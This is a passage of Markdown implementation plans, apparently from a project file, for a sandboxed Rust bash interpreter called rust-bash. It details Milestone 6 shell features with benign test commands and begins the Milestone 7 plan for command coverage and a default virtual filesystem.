compatibility).\n\n### 1e. Tests\n\n- Basic indexed array: `a=(one two three); echo ${a[0]} ${a[2]}` → `one three`\n- Sparse arrays: `a[0]=x; a[5]=y; echo ${#a[@]}` → `2`\n- All-elements: `a=(a b c); for x in \"${a[@]}\"; do echo \"$x\"; done` → `a\\nb\\nc`\n- Star expansion with IFS: `IFS=,; a=(a b c); echo \"${a[*]}\"` → `a,b,c`\n- Keys: `a=(x y z); echo ${!a[@]}` → `0 1 2`\n- Append: `a=(1 2); a+=(3 4); echo ${a[@]}` → `1 2 3 4`\n- Unset element: `a=(a b c); unset a[1]; echo ${a[@]}` → `a c`\n- Unquoted `${arr[@]}` with IFS characters in elements: elements containing IFS chars get split further\n- maxArrayElements enforcement: loop creating > limit elements → `LimitExceeded` error\n- Arithmetic index: `a=(10 20 30); i=1; echo ${a[$((i+1))]}` → `30`\n\n---\n\n## Phase 2 — Full `declare` Attributes (M6.6) ✅\n\n> Extend declare and Variable to support all attribute flags: -i, -l, -u, -n, -a, -A.\n\n### 2a. Attribute bitflags\n\nThe `VariableAttrs` bitflags type was added in Phase 1. Now wire the remaining flags into behavior:\n\n- **`-i` (INTEGER)**: On every assignment to this variable, evaluate the value as an arithmetic expression. `declare -i x; x=2+3; echo $x` → `5`.\n- **`-l` (LOWERCASE)**: Transform value to lowercase on every assignment.\n- **`-u` (UPPERCASE)**: Transform value to uppercase on every assignment.\n- **`-n` (NAMEREF)**: Variable holds name of another variable; dereference on read/write.\n\n### 2b. Integer attribute (-i)\n\nIn `set_variable()`, check if `INTEGER` flag is set. If so, pass the value through `evaluate_arithmetic()` and store the numeric result as a string. This applies to all assignment paths: plain assignment, `declare -i x=expr`, `read`, `for` loop variable.\n\n### 2c. Case transform attributes (-l / -u)\n\nIn `set_variable()`, apply `.to_lowercase()` or `.to_uppercase()` before storing if the respective flag is set. The transform is on assignment, not on read.\n\n### 2d. Nameref attribute (-n)\n\nAdd `resolve_nameref(name: &str, state: &InterpreterState, depth: usize) -> Result<&str, RustBashError>` that follows the nameref chain (up to depth 10). Wire into all variable read and write paths. `declare -n ref=target; ref=hello` sets `target=hello`. `echo $ref` prints the value of `target`.\n\n### 2e. Array declaration (-a / -A)\n\n`declare -a arr` creates an empty indexed array. `declare -A assoc` creates an empty associative array. When assigning to a variable declared as `-A`, use string keys instead of numeric indices.\n\n### 2f. Attribute display\n\n`declare -p varname` prints the declaration with all flags (e.g., `declare -ix var=\"5\"`). `declare` with no args lists all variables with their attributes.\n\n### 2g. Tests\n\n- Integer: `declare -i x; x=2+3; echo $x` → `5`\n- Integer assignment propagation: `declare -i x=10; x+=5; echo $x` → `15`\n- Lowercase: `declare -l s; s=HELLO; echo $s` → `hello`\n- Uppercase: `declare -u s; s=hello; echo $s` → `HELLO`\n- Nameref: `x=42; declare -n ref=x; echo $ref` → `42`; `ref=99; echo $x` → `99`\n- Nameref circular: `declare -n a=b; declare -n b=a; echo $a` → error\n- Declare -p: `declare -ix num=5; declare -p num` → `declare -ix num=\"5\"`\n- Array declare: `declare -a arr; arr[0]=x; echo ${arr[0]}` → `x`\n- Associative declare: `declare -A m; m[hello]=world; echo ${m[hello]}` → `world`\n- Attribute conflict: `declare -lu var; var=Hello; echo $var` → `HELLO` (last flag wins)\n\n---\n\n## Phase 3 — `$PIPESTATUS` and `BASH_REMATCH` as Arrays (M6.2) ✅\n\n> Expose pipeline exit codes and regex captures as proper indexed arrays.\n\n### 3a. PIPESTATUS\n\nIn `execute_pipeline()` (`walker.rs` line ~176), the `exit_codes: Vec<i32>` is already collected. After pipeline execution, write it as `PIPESTATUS` indexed array:\n\n```rust\nlet mut map = BTreeMap::new();\nfor (i, code) in exit_codes.iter().enumerate() {\n    map.insert(i, code.to_string());\n}\nset_array_variable(state, \"PIPESTATUS\", VariableValue::IndexedArray(map))?;\n```\n\nThis enables `echo ${PIPESTATUS[0]}` and `echo ${PIPESTATUS[@]}`. For simple commands (not pipelines), set `PIPESTATUS=(exit_code)` with a single element. `PIPESTATUS` is overwritten by every pipeline or simple command — it always reflects the most recent command's status.\n\n### 3b. BASH_REMATCH as array\n\nIn the `=~` regex handling (`walker.rs` line ~1349), replace the flat `BASH_REMATCH`, `BASH_REMATCH_1`, etc. with a proper indexed array:\n\n```rust\nlet mut map = BTreeMap::new();\nmap.insert(0, whole_match.to_string());\nfor (i, group) in captures.iter().enumerate().skip(1) {\n    if let Some(m) = group {\n        map.insert(i, m.as_str().to_string());\n    }\n}\nset_array_variable(state, \"BASH_REMATCH\", VariableValue::IndexedArray(map))?;\n```\n\nRemove the old `BASH_REMATCH_N` flat variables and `BASH_REMATCH_COUNT`.\n\n### 3c. Tests\n\n- `echo hello | grep x; echo ${PIPESTATUS[@]}` → `1` (or appropriate codes)\n- `true | false | true; echo ${PIPESTATUS[1]}` → `1`\n- PIPESTATUS overwrite: `true | false; echo hi; echo ${PIPESTATUS[0]}` → `0` (from `echo hi`, not the pipeline)\n- `[[ \"abc123\" =~ ([a-z]+)([0-9]+) ]]; echo ${BASH_REMATCH[0]}` → `abc123`\n- `[[ \"abc123\" =~ ([a-z]+)([0-9]+) ]]; echo ${BASH_REMATCH[1]}` → `abc`\n- `[[ \"abc123\" =~ ([a-z]+)([0-9]+) ]]; echo ${#BASH_REMATCH[@]}` → `3`\n\n---\n\n## Phase 4 — Full `read` Flags (M6.5) ✅\n\n> Extend builtin_read beyond basic line reading.\n\n### 4a. `-a arrayname` — read into indexed array\n\nSplit the input line by IFS and store each field as an array element. `echo \"a b c\" | read -a arr; echo ${arr[1]}` → `b`.\n\n### 4b. `-d delim` — read until delimiter\n\nInstead of reading until newline, read until the specified delimiter character. `echo -n \"hello:world\" | read -d : var; echo $var` → `hello`. Note: `read -d ''` (empty delimiter) means \"read until NUL byte\" — in practice this reads until EOF in our sandbox since VFS content rarely contains NUL. This is a commonly used pattern for reading entire files.\n\n### 4c. `-n count` / `-N count` — character-limited read\n\n`-n count`: read at most N characters (stop at newline or N, whichever first). `-N count`: read exactly N characters (ignore newlines). These differ in their newline handling.\n\n### 4d. `-s` — silent mode (no-op in sandbox)\n\nIn interactive bash, `-s` suppresses echoing input to the terminal. In our sandbox there is no terminal, so accept the flag but take no special action. Scripts commonly use `read -s -p \"Password: \" pass`.\n\n### 4e. `-t timeout` — timeout stub\n\nIn a sandbox, stdin is always fully provided. `-t` returns 0 immediately if there is data, 1 if stdin is exhausted. No actual timer needed.\n\n### 4f. Tests\n\n- Read into array: `echo \"a b c\" | read -ra arr; echo ${arr[1]}` → `b`\n- Delimiter: `printf 'a:b:c' | read -d : x; echo $x` → `a`\n- Character limit: `echo \"hello\" | read -n 3 x; echo $x` → `hel`\n- Exact count: `printf 'ab\\ncd' | read -N 4 x; echo \"$x\"` → `ab\\nc` (newline embedded)\n- Combined: `echo \"x y z\" | read -ra arr; echo ${#arr[@]}` → `3`\n\n---\n\n## Phase 5 — Shopt Options (M6.3) ✅\n\n> Add ShoptOpts struct to InterpreterState and shopt builtin. Wire behavioral effects.\n\n### 5a. ShoptOpts struct and builtin\n\nAdd `ShoptOpts` with boolean fields for each option to `InterpreterState`. Implement `shopt` builtin:\n- `shopt -s opt` — enable option\n- `shopt -u opt` — disable option\n- `shopt -q opt` — query (exit 0 if set, 1 if unset)\n- `shopt` with no args — list all options with on/off status\n- `shopt -p` — print in reusable format (`shopt -s opt` or `shopt -u opt`)\n\n### 5b. nullglob\n\nWhen enabled, glob patterns that match nothing expand to nothing (empty list) instead of the literal pattern string. Modify the glob expansion path in `expansion.rs`.\n\n### 5c. globstar\n\nWhen enabled, `**` in glob patterns matches recursively across directory boundaries. Modify `pattern.rs` glob matching to support recursive descent.\n\n### 5d. dotglob / globskipdots\n\n`dotglob`: globs include dot-files (files starting with `.`). `globskipdots`: don't include `.` and `..` entries (bash 5.2+ default behavior). These modify the directory listing filter in glob expansion.\n\n### 5e. failglob\n\nWhen enabled, a glob that matches nothing produces an error instead of passing through as a literal. This is distinct from `nullglob` — `nullglob` removes the pattern, `failglob` errors.\n\n### 5f. nocaseglob / nocasematch\n\n`nocaseglob`: case-insensitive filename globbing. Modify pattern matching in `pattern.rs`. `nocasematch`: case-insensitive matching in `[[ str =~ pattern ]]` and `case` statements. Modify matching in `walker.rs`.\n\n### 5g. lastpipe\n\nWhen enabled (and job control is inactive, which is always true in our sandbox), the last command in a pipeline runs in the current shell context instead of a subshell. This means variable assignments in the last pipeline command persist. Modify `execute_pipeline` to skip the subshell wrapper for the final command when `lastpipe` is set.\n\n**Note**: The current pipeline implementation in `walker.rs` runs all stages sequentially without subshell isolation, so `lastpipe` behavior may already be implicit. Verify with `echo hello | read x; echo $x` — if this already works, `lastpipe` is a tracked-but-no-op flag. If not, the final stage needs special handling to run in the parent shell context.\n\n### 5h. expand_aliases / xpg_echo / extglob\n\n`expand_aliases`: enable alias expansion (depends on M6.4 alias support). `xpg_echo`: make `echo` interpret backslash escapes by default (like `echo -e`). Wire into `echo` command in `commands/mod.rs`. `extglob`: extended glob patterns `+(...)`, `@(...)`, etc. — the parser already enables this unconditionally, so just track the flag and document that it defaults to on.\n\n### 5i. Tests\n\n- nullglob: `shopt -s nullglob; echo /nonexistent*` → (empty line)\n- failglob: `shopt -s failglob; echo /nonexistent*` → error\n- dotglob: `shopt -s dotglob; ls` includes dot-files\n- nocasematch: `shopt -s nocasematch; [[ \"Hello\" == hello ]] && echo match` → `match`\n- globstar: `shopt -s globstar; echo **/*.txt` matches recursively\n- lastpipe: `shopt -s lastpipe; echo hello | read x; echo $x` → `hello`\n- xpg_echo: `shopt -s xpg_echo; echo \"a\\tb\"` → `a\tb`\n- shopt -p output format\n\n---\n\n## Phase 6 — Additional Builtins (M6.4) ✅\n\n> Implement missing builtins that AI-generated scripts commonly use.\n\n### 6a. `type [-t|-a|-p] name`\n\nIdentify whether `name` is a builtin, function, file, or alias. `type -t name` prints just the type word. `type -a name` shows all definitions. `type -p name` shows the file path (like `which`). Check `state.functions`, `state.commands`, and PATH resolution in order.\n\n### 6b. `command [-pVv] name [args]`\n\n`command name args` runs `name` bypassing functions (only builtins and commands). `command -v name` prints how `name` would be resolved (like `type -t`). `command -V name` provides verbose description. `command -p name` uses a default PATH. This is the most common tool-detection pattern: `if command -v git &>/dev/null; then ...`.\n\n### 6c. `builtin name [args]`\n\nForce execution of a shell builtin, bypassing any function with the same name. Look up `name` in the builtins table only — skip function lookup.\n\n### 6d. `getopts optstring name [args]`\n\nArgument parsing with `OPTIND`/`OPTARG`/`OPTERR` state variables. Process one option per call in a `while getopts` loop. Increment `OPTIND` to track position. Set `OPTARG` for options that take arguments (indicated by `:` after the option letter in optstring).\n\n### 6e. `mapfile` / `readarray`\n\nPopulate an indexed array from stdin. Flags: `-t` (strip trailing newline), `-d delim` (delimiter, default newline), `-n count` (max lines), `-s count` (skip first N lines), `-C callback` (run callback every N lines). `readarray` is a synonym.\n\n### 6f. `pushd` / `popd` / `dirs`\n\nFull directory stack. Add `dir_stack: Vec<String>` to `InterpreterState`.\n- `pushd dir` pushes current dir onto stack and cd's to dir. `pushd +N` rotates.\n- `popd` pops top of stack and cd's there. `popd +N` removes Nth entry.\n- `dirs` lists the stack. `-c` clears. `-l` shows full paths. `-p` one-per-line. `-v` with indices.\n\n### 6g. `hash [-r] [name]`\n\nCommand path caching with `HashMap<String, String>` in `InterpreterState`. `hash name` resolves PATH and caches. `hash -r` clears the table. `hash` with no args lists entries. Cached paths are checked first during command resolution.\n\n### 6h. `wait` — stub\n\nNo-op that returns 0. Prevents scripts from failing when they include `wait` for background job synchronization.\n\n### 6i. `alias name=value` / `unalias name`\n\nAdd `aliases: HashMap<String, String>` to `InterpreterState`. `alias name=value` stores the mapping. `unalias name` removes it. `alias` with no args lists all. Alias expansion happens during word expansion: before command lookup, check if the first word is an alias and substitute. Guard against recursive expansion. Lower priority due to architectural complexity — real alias expansion should happen at the token level before parsing, but a post-parse first-word substitution is sufficient for common use cases. **Known limitation**: multi-word aliases (e.g., `alias ll='ls -la'`) require re-parsing the expanded tokens; the post-parse approach will handle simple single-command aliases correctly but may need enhancement for multi-word expansions.\n\n### 6j. `select var in list; do ... done`\n\n**Note**: `select` is a compound command (like `for`/`while`), not a simple builtin. brush-parser may produce a compound command AST node for it. Implementation goes in `execute_compound_command` in `walker.rs`, not in `builtins.rs`. In a sandbox (no interactive TTY), `select` reads from stdin. Print numbered options to stderr, read a line from stdin, set `var` to the selected option, set `REPLY` to the raw input. Loop until `break` or EOF. Low priority — verify brush-parser support before implementing.\n\n### 6k. Tests\n\n- `type echo` → `echo is a shell builtin`\n- `type -t echo` → `builtin`\n- `command -v echo` → `echo`\n- `f() { echo func; }; builtin echo builtin` → `builtin`\n- `getopts \"ab:c\" opt -a -b val -c` in a loop → parses correctly\n- `echo -e \"a\\nb\\nc\" | mapfile arr; echo ${arr[1]}` → `b`\n- `pushd /tmp; dirs` shows stack\n- `hash echo; hash` shows cached entry\n- `wait` returns 0\n- `alias ll='ls -la'; type ll` shows alias\n\n---\n\n## Phase 7 — Special Variable Tracking (M6.8) ✅\n\n> **Status: COMPLETE.** All special variables implemented and tested (25 integration tests, 8 comparison tests promoted from xfail). All tests pass.\n\n> Implement missing special variables that AI scripts rely on.\n\n### 7a. `$LINENO`\n\nReplace the hardcoded `\"0\"` in `resolve_named_var` (expansion.rs line ~1108). Add a `current_lineno: usize` field to `InterpreterState`, updated at each statement execution in the walker. The brush-parser AST nodes carry `SourcePosition` metadata which should be checked for line number availability — if AST nodes don't carry line info, use a simple counter incremented per statement.\n\n### 7b. `$SECONDS`\n\nStore `shell_start_time: Instant` in `InterpreterState` (set during construction). On access, return `shell_start_time.elapsed().as_secs()` as a string. Assignment to `SECONDS` resets the timer (store a new `Instant::now()`).\n\n### 7c. `$_`\n\nLast argument of the previous simple command. Add `last_argument: String` to `InterpreterState`, updated after each simple command execution in the walker. Return it when `$_` is referenced.\n\n### 7d. `FUNCNAME` / `BASH_SOURCE` / `BASH_LINENO` arrays\n\nThese are stack arrays that track the function call chain:\n- `FUNCNAME`: stack of function names (top = current function, bottom = `\"main\"`)\n- `BASH_SOURCE`: stack of source files\n- `BASH_LINENO`: stack of line numbers where each call originated\n\nAdd `call_stack: Vec<CallFrame>` to `InterpreterState` where `CallFrame { func_name: String, source: String, lineno: usize }`. Push on function entry, pop on return. Expose as readonly indexed arrays via special handling in `resolve_parameter`.\n\n### 7e. `$PPID` / `$UID` / `$EUID` / `$BASHPID`\n\nStatic or configurable values:\n- `$PPID` → configurable (default `1`)\n- `$UID` / `$EUID` → configurable (default `1000`)\n- `$BASHPID` → virtual PID that changes in subshells. Use a subshell nesting counter: base PID is `1` (or configurable), increment for each subshell.\n\nAdd these as configurable fields on the builder API.\n\n### 7f. `SHELLOPTS` / `BASHOPTS`\n\nDynamically computed colon-separated strings of enabled options:\n- `SHELLOPTS`: from `ShellOpts` — e.g., `\"errexit:nounset:pipefail\"`\n- `BASHOPTS`: from `ShoptOpts` — e.g., `\"extglob:globstar\"`\n\nMust update on every `set -o` / `shopt -s` change. Implement as computed properties in `resolve_named_var` rather than stored variables. Mark as readonly.\n\n### 7g. `$MACHTYPE` / `$HOSTTYPE`\n\nStatic strings set during shell construction:\n- `$MACHTYPE` → `\"x86_64-pc-linux-gnu\"` (configurable)\n- `$HOSTTYPE` → `\"x86_64\"` (configurable)\n\n### 7h. Tests\n\n- `LINENO` tracks correctly across statements\n- `SECONDS` returns elapsed time > 0 after `sleep 0`\n- `f() { echo $FUNCNAME; }; f` → `f`\n- `f() { echo ${BASH_SOURCE[0]}; }; f` → appropriate source\n- `echo $PPID` → `1`\n- `[[ $EUID -eq 1000 ]] && echo yes` → `yes`\n- `set -e; [[ $SHELLOPTS =~ errexit ]] && echo yes` → `yes`\n- `echo $MACHTYPE` → `x86_64-pc-linux-gnu`\n\n---\n\n## Phase 8 — Shell Option Enforcement (M6.9) ✅\n\n> Wire behavioral effects for set/shopt options that are currently parsed but ignored.\n\nThe current `ShellOpts` struct has only 4 fields (`errexit`, `nounset`, `pipefail`, `xtrace`). This phase adds `verbose`, `noexec`, `noclobber`, `allexport`, `noglob`, `posix`, `vi_mode`, and `emacs_mode` to the struct, and wires behavioral effects for all of them. The `set` builtin's option parsing must also be extended to handle these new flags.\n\n### 8a. `set -x` (xtrace)\n\nBefore executing each simple command, if `xtrace` is true, write the expanded command to stderr prefixed with `$PS4` (default `\"+ \"`). Show expanded words, not raw source. Output goes to the stderr stream in the execution context.\n\n### 8b. `set -v` (verbose)\n\nPrint each input line to stderr before parsing/expansion. This happens at the source-reading level — before the parser processes the line.\n\n### 8c. `set -n` (noexec)\n\nParse but do not execute commands. Useful for syntax checking. The walker should skip execution of all command nodes when `noexec` is active. Note: `set` itself must always execute (otherwise `set +n` couldn't re-enable execution), so the noexec check happens in the walker, not in builtin dispatch.\n\n### 8d. `set -o noclobber`\n\nPrevent `>` from overwriting existing files. When `noclobber` is set and the target file exists, `>` returns an error: `\"cannot overwrite existing file\"`. The `>|` operator forces overwrite regardless.\n\n### 8e. `set -a` (allexport)\n\nAuto-export every variable on assignment. Check at every assignment site: `set_variable()`, `declare`, `local`, `for` loop variable, `read`. When `allexport` is active, set the `EXPORTED` flag on the variable.\n\n### 8f. `set -f` (noglob)\n\nDisable filename expansion (globbing). When active, glob patterns are treated as literal strings — skip the glob expansion step in `expand_word`.\n\n### 8g. `set -o posix` — stub\n\nAccept the option, store it. Initial behavioral change: special builtin errors become fatal (non-zero exit from `break`, `continue`, `return`, `export`, `unset`, `eval`, `set`, `shift`, `source` causes the shell to exit). Full POSIX semantics are future scope.\n\n### 8h. `set -o vi` / `set -o emacs` — no-ops\n\nAccept and track these options without any behavioral effect. They control line editing in interactive shells, which is not meaningful in a sandbox.\n\n### 8i. Tests\n\n- xtrace: `set -x; echo hello 2>&1` includes `+ echo hello`\n- xtrace with pipeline: `set -x; echo a | cat 2>&1` shows trace for both commands\n- noclobber: `set -C; echo a > file; echo b > file` → error on second write\n- noclobber override: `set -C; echo a > file; echo b >| file; cat file` → `b`\n- allexport: `set -a; X=1; env | grep X` → `X=1`\n- noglob: `set -f; echo *` → literal `*`\n- noexec: `set -n; echo hello` → no output\n- posix stub accepted without error\n\n---\n\n## Phase 9 — Advanced Redirections (M6.10) ✅\n\n> Implement missing redirection features.\n\n### 9a. `exec` builtin\n\nWhen invoked with only redirections (`exec > file`, `exec 3< file`), permanently redirect file descriptors for the rest of the shell session. This requires tracking persistent FD redirections in `InterpreterState`:\n\n```rust\n// New field on InterpreterState\npub(crate) persistent_fds: HashMap<i32, PersistentFd>,\n\npub(crate) enum PersistentFd {\n    OutputFile(String),   // FD writes to this VFS path\n    InputFile(String),    // FD reads from this VFS path\n    DevNull,\n    Closed,\n}\n```\n\nThe redirection application code (`apply_output_redirects`, `get_stdin_from_redirects`) must consult `persistent_fds` as a fallback when no per-command redirect is specified for an FD.\n\nWhen invoked with a command (`exec cmd args`), replace the shell with the command — in our sandbox, just execute the command and exit with its status.\n\n### 9b. `/dev/stdin`, `/dev/stdout`, `/dev/stderr`, `/dev/zero`, `/dev/full`\n\nSpecial-case these paths in the redirection handling (`walker.rs`, currently only `/dev/null` is handled at line ~1240):\n- `/dev/stdin` → reads from the current stdin stream\n- `/dev/stdout` → writes to the current stdout stream\n- `/dev/stderr` → writes to the current stderr stream\n- `/dev/zero` → reads return empty bytes; writes are discarded\n- `/dev/full` → reads return empty; writes return ENOSPC error\n\n### 9c. FD variable allocation `{varname}>file`\n\nAutomatically allocate a file descriptor number (starting from 10, incrementing), store the number in the named variable. Used for advanced I/O multiplexing patterns. Requires extending the redirection parser handling to recognize the `{varname}` prefix.\n\n### 9d. Read-write FD `N<>file`\n\nOpen a file for both reading and writing on FD N. Add a new redirection variant handling in the walker.\n\n### 9e. FD movement `N>&M-`\n\nDuplicate FD M to N, then close M. The `-` suffix signals the close-after-dup semantics.\n\n### 9f. Pipe stderr `|&`\n\nShorthand for `2>&1 |`. When the parser produces a `|&` pipe, treat it as piping both stdout and stderr to the next command.\n\n### 9g. Tests\n\n- `exec > file; echo hello; cat file` → `hello`\n- `cat /dev/null` → empty; `echo test > /dev/null` → no output\n- `echo hello > /dev/stderr 2>&1` → `hello` on stderr\n- FD variable: `exec {fd}> file; echo hi >&$fd` → writes to file\n- Pipe stderr: `echo err >&2 |& cat` → `err`\n- Read-write: `exec 3<> file; echo hi >&3; cat <&3`\n\n---\n\n## Phase 10 — Parameter Transformation Operators (M6.11) ✅\n\n> Implement ${var@operator} syntax, indirect expansion, and printf -v.\n\n### 10a. `${var@Q}`, `${var@E}`, `${var@P}`, `${var@A}`, `${var@a}`\n\nUpdate `apply_transform` in `expansion.rs` (currently at line ~1016):\n\n- **`@Q`**: Quote value for shell reuse. Simple values get single-quoted; values with control characters use `$'...'` notation.\n- **`@E`**: Expand backslash escape sequences (`\\n`, `\\t`, `\\xHH`, `\\uHHHH`, etc.).\n- **`@P`**: Expand prompt escape sequences (`\\u` → username, `\\h` → hostname, `\\w` → cwd, `\\d` → date, `\\t` → time, `\\[`/`\\]` → empty). Used for PS1/PS4 expansion.\n- **`@A`**: Produce assignment statement recreating the variable (e.g., `declare -- var=\"value\"` or `declare -a arr='(1 2 3)'`). Include declare flags based on `Variable.attrs`.\n- **`@a`**: Return attribute flags as a string (e.g., `\"x\"` for exported, `\"r\"` for readonly, `\"xi\"` for exported+integer). Read from `Variable.attrs`.\n\n### 10b. `${!ref}` — indirect expansion\n\nThe expansion pipeline already has `indirect: bool` plumbing in `resolve_parameter` (expansion.rs) that dereferences one level. The remaining work is:\n- Handle `${!arrref[@]}` where the indirection target is an array (expand to all elements of the referenced array)\n- Handle `${!arrref[N]}` where indirection resolves an array element\n- Ensure interaction with namerefs (M6.6) is correct: `${!ref}` is read-time expansion, namerefs are variable-level redirection — they are independent mechanisms\n\n`x=hello; y=x; echo ${!y}` → `hello`. Different from namerefs — this is a read-time expansion only.\n\n### 10c. `${!prefix*}` / `${!prefix@}` — variable name expansion\n\nExpand to all variable names matching the given prefix. `DOCKER_A=1; DOCKER_B=2; echo ${!DOCKER_*}` → `DOCKER_A DOCKER_B`. Iterate `state.env` keys with the prefix filter.\n\n### 10d. `printf -v varname` and format specifiers `%b`, `%q`\n\n`printf` is currently an external command (`PrintfCommand` in `commands/text.rs`). To support `-v` (which needs to write to `InterpreterState`), add `printf` as a shell builtin that intercepts `-v varname`. The builtin parses the `-v` flag: if present, it calls the existing `PrintfCommand` formatting logic (extracted into a shared function) to produce the output string, then assigns it to the named variable via `set_variable()` instead of printing to stdout. Non-`-v` calls delegate directly to the existing formatting logic with normal stdout output. This avoids duplicating the ~200 lines of format handling.\n\n- **`%b`**: Like `%s` but interpret backslash escape sequences in the argument.\n- **`%q`**: Shell-quote the argument so it can be safely reused as input.\n\n### 10e. Tests\n\n- `x=hello; echo ${x@Q}` → `'hello'`\n- `x='\\t'; echo \"${x@E}\"` → produces tab character (note: single quotes so `x` contains literal `\\t`, not a tab)\n- `PS4='+ '; x='\\\\w'; echo ${x@P}` → expands `\\w` to cwd\n- `declare -ix num=5; echo ${num@A}` → `declare -ix num=\"5\"`\n- `declare -rx var=1; echo ${var@a}` → `rx`\n- `x=hello; y=x; echo ${!y}` → `hello`\n- `FOO_A=1; FOO_B=2; echo ${!FOO_*}` → `FOO_A FOO_B`\n- `printf -v result '%04d' 42; echo $result` → `0042`\n- `printf '%q' \"hello world\"` → `hello\\ world` (or `'hello world'`)\n- `printf '%b' 'hello\\tworld'` → `hello\tworld`\n\n---\n\n## Phase 11 — Process Substitution (M6.7) ✅\n\n> Implement <(cmd) and >(cmd) using temp VFS files.\n\n### 11a. `<(cmd)` — input process substitution\n\nWhen the parser produces a `ProcessSubstitution::Read` node:\n1. Execute the inner command, capturing stdout\n2. Write captured output to a temp VFS file (`/tmp/.proc_sub_{counter}`)\n3. Substitute the temp file path into the argument list\n\nThe outer command sees a regular file path and reads from it normally. This enables patterns like `diff <(sort file1) <(sort file2)`.\n\n### 11b. `>(cmd)` — output process substitution\n\nWhen the parser produces a `ProcessSubstitution::Write` node:\n1. Create an empty temp VFS file\n2. Substitute its path into the argument list\n3. After the outer command completes, read the temp file contents\n4. Execute the inner command with the file contents as stdin\n\n**Known limitation**: This is a batch model (write all, then read all), not streaming. In real bash, `>(cmd)` uses a pipe so the inner command sees data incrementally. In our sandbox everything is in-memory so the functional result is the same, but timing-sensitive scripts (rare) may behave differently.\n\n### 11c. Temp file cleanup\n\nUse an RAII guard or explicit cleanup after the enclosing command completes. Track active temp files in a list, remove them after the statement finishes. Add a counter to `InterpreterState` for unique temp file naming.\n\n### 11d. Tests\n\n- `cat <(echo hello)` → `hello`\n- `diff <(echo a) <(echo b)` → shows diff output\n- `echo hello > >(cat)` → `hello`\n- `paste <(echo a) <(echo b)` → `a\tb`\n- Temp files cleaned up after command completes\n- Nested: `cat <(cat <(echo deep))` → `deep`\n\n---\n\n## Testing Strategy\n\nEach phase includes its own unit and integration tests. Additionally:\n\n1. **Comparison tests** (M6.12 infrastructure): As each phase lands, add corresponding comparison test fixtures that record real bash behavior.\n2. **Regression**: Existing 4,700+ lines of integration tests must continue to pass after every phase.\n3. **Cross-phase**: After all phases, run a comprehensive integration test script that uses multiple M6 features together (arrays + declare + read + mapfile + shopt + process substitution).\n","/home/user/docs/plans/M7.md":"# Milestone 7: Command Coverage and Discoverability — Implementation Plan\n\n## Problem Statement\n\nrust-bash has 62 registered commands and 18 builtins but lacks several utilities AI agents commonly encounter (`timeout`, `bc`, `gzip`, `tar`, `file`, `rg`, etc.). No command supports `--help`, there is no `help` builtin, no declarative command metadata, and the default VFS is empty — `which ls` returns a hardcoded `/usr/bin/ls` path that doesn't exist on the VFS. AI agents cannot self-discover available commands or their usage.\n\nM7 closes these gaps: add `--help` to every command, implement ~20 missing commands, create a proper default filesystem layout, build command fidelity infrastructure, and ship purpose-built AI agent documentation.\n\n## Prerequisites & Current State\n\n**M1–M6 are complete.** The interpreter handles arrays, shopt, process substitution, advanced redirections, parameter transformations, and differential testing.\n\n**Command system architecture** (see `src/commands/mod.rs`):\n- `VirtualCommand` trait: `name() -> &str`, `execute(args, ctx) -> CommandResult`\n- Commands stored in `HashMap<String, Arc<dyn VirtualCommand>>` in `InterpreterState`\n- `CommandContext` provides: `fs`, `cwd`, `env`, `stdin`, `limits`, `network_policy`, `exec`\n- `CommandResult`: `{ stdout: String, stderr: String, exit_code: i32 }`\n- Registration: `register_default_commands()` in `src/commands/mod.rs:614-699`\n\n**Key gaps relevant to M7:**\n- **No `--help` handling** in any command. No `CommandMeta` struct.\n- **No default VFS layout**: `RustBashBuilder::build()` creates only `/` and the CWD. No `/bin`, `/tmp`, `/home`, `/dev`.\n- **No default env vars**: Shell starts with empty environment unless caller sets them.\n- **`which` command** (`src/commands/utils.rs:574-713`): Uses hardcoded `REGISTERED_COMMANDS` and `SHELL_BUILTINS` arrays. Returns `/usr/bin/{name}` without checking VFS.\n- **String-based pipelines**: `CommandResult.stdout` is `String`, not `Vec<u8>`. Binary data (gzip/tar output) would be corrupted by `String::from_utf8_lossy()` round-trips. This is a **blocker for M7.3** (compression).\n- **2,731 existing test cases** across integration, Oils conformance, and differential test suites.\n\n## Dependency Graph\n\n```\nM7.7 (default fs layout) ─── should happen first — affects M7.2+ testing & `which`\n         │\nM7.1 (--help) ─────────────── independent — CommandMeta + dispatch-level --help\n         │\nM7.2 (core utils) ───────┐\nM7.4 (binary/file) ──────┤── independent — new command implementations\nM7.5 (search / rg) ──────┤   (can be parallelized)\nM7.6 (shell utils) ──────┘\n         │\nM7.3 (compression) ──────── BLOCKED on binary data audit (M9.8 prerequisite)\n         │\nM7.8 (fidelity infra) ───── independent — unknown-flag helper, conformance tests\n         │\nM7.9 (AGENTS.md) ────────── after M7.1–M7.6 — needs complete command list\n```\n\n**Critical dependency**: M7.3 (gzip/tar) requires binary-transparent pipelines. The current `String`-based `CommandResult` will corrupt binary output. The guidebook places M9.8 (binary encoding) as a prerequisite. This plan defers M7.3 to a later phase that first addresses the binary data path, scoped minimally to unblock compression commands without a full M9.8 redesign. If M9.8 were already complete, M7.3 could be done in parallel with M7.2/M7.4/M7.5/M7.6 — the serialization is a consequence of M9.8 not being done, not an intrinsic dependency between the M7 sub-milestones.\n\n**Note on M7.10**: The guidebook's dependency graph (line 543) references `M7.10 (agent tests)` but there is no corresponding `### M7.10` heading in the M7 definition. This appears to be a dangling reference — the agent workflow integration tests were later reorganized as M9.11. This plan treats M9.11 as out of scope for M7.\n\n## Phase 1 — Default Filesystem Layout and Command Resolution (M7.7)\n\n**Goal**: Make the VFS look like a real Unix system out of the box so AI agents can navigate it naturally and `which` resolves commands correctly.\n\n### Step 1.1 — Default directory structure\n\nIn `RustBashBuilder::build()` (or a helper it calls), create the standard directories after filesystem construction:\n\n```\n/bin/\n/usr/bin/\n/tmp/             (mode 1777)\n/home/user/       (or derive from $HOME if set)\n/dev/             (with /dev/null, /dev/zero, /dev/stdin, /dev/stdout, /dev/stderr)\n```\n\nDirectories are created only if they don't already exist (don't clobber user-seeded files).\n\n### Step 1.2 — Command stub files\n\nAfter `register_default_commands()`, iterate the command HashMap and write a stub file for each command to `/bin/<name>`:\n\n```\n#!/bin/bash\n# built-in: <name>\n```\n\nThis makes `ls /bin` list all available commands and `test -x /bin/grep` return true. Stub content is a comment — executing the file still goes through normal command dispatch.\n\n### Step 1.3 — Default environment variables\n\nSet sensible defaults in `build()` for variables not already provided by the caller:\n\n| Variable | Default | Notes |\n|----------|---------|-------|\n| `PATH` | `/usr/bin:/bin` | Standard lookup order |\n| `HOME` | `/home/user` | Match created dir |\n| `USER` | `user` | |\n| `HOSTNAME` | `rust-bash` 